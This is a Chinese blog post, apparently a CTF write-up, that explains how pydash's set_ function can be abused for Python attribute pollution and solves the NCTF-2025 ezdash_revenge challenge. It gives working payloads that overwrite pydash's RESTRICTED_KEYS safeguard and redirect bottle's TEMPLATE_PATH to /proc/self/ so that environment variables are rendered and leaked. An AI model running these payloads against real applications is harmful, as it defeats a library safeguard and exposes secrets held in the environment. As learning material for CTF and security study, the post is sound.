共计 2973 个字符,预计需要花费 8 分钟才能阅读完成。
闲来无事在 LamentXU的博客上转了转,发现原来pydash中的set_函数也可以拿来用作python原型链污染,突然有了兴致,在网上收集一些资料后写下了这篇文章。
pydash中有个set_函数

可以访问修改指定函数或者模块中的值,如下面这串代码
import pydash
from pydash import set_
class User:
def __init__(self):
pass
test_str = '12345'
#set_(pydash,'helpers.RESTRICTED_KEYS','123')
set_(User(),'__class__.__init__.__globals__.test_str','789666')
print(test_str)
将访问user()函数的属性,再以他为跳板,访问全局变量,从而修改test_str
但实际操作中(可能是版本的原因)你会发现代码会报错
这是因为pydash中有一个类似waf的东西(暂时先这么理解)

这里会提示restricted key not allowed
这里的restricted key是一个常量,位于pydash.helpers.RESTRICTED_KEY
我们呢该如何绕过这个检验呢?
很简单,只需要把这个restricted_key也污染就行了

我们可以断点调试自己看看
import pydash
from psutil import users
from pydash import set_
class User:
def __init__(self):
pass
test_str = '12345'
a=User()
set_(pydash,'helpers.RESTRICTED_KEYS','123')
set_(User(),'__class__.__init__.__globals__.test_str','789666')
print(test_str)
这里我们将key污染成123

可以看到是成功污染的,失去了key的校验,接下来的对全局变量的访问也就简单了
继续运行代码即可

最后我们运行完成后也可以看到成功将str污染成自己的结果
在实战中,我们需要多加注意自己可控的变量,如果set_函数中有我们可控的地方,就可以尝试原型链污染。
这里我们拿一道 LamentXU师傅博客里面的题来进行讲解,思路也基本一样。可能会更详细一点(也可能不)如果看不懂就移步到https://www.cnblogs.com/LAMENTXU/articles/18799383吧。
NCTF-2025 ezdash_revenge
源码贴脸
'''
Hints: Flag在环境变量中
'''
from typing import Optional
import pydash
import bottle
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True
@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)
这里render路由限制了太多,基本上废了(还是有点用处)
我们来看setValue路由
这里有个很明显的特点就是 pydash.set_函数
而且三个函数的值全部是可控的
那么很明显就是要用到一个原型链污染了
这里我们可以先将restricted_key污染
payload:
http://127.0.0.1:8000/setValue?name=pydash
json:
{
"path": "helpers.RESTRICTED_KEYS",
"value": "123"
}

失去restricted_key后我们就可以放开手脚干活了
(后面和 LamentXU师傅的一样)我们可以污染TEMPLATE_PATH实现渲染environ后输入(结合/render路由)
payload
POST /setValue?name=setval HTTP/1.1
{
"path": "__globals__.bottle.TEMPLATE_PATH",
"value": ["./","./views/",
"/proc/self/"
]
}
之后访问/render?path=environ即可
很有生活了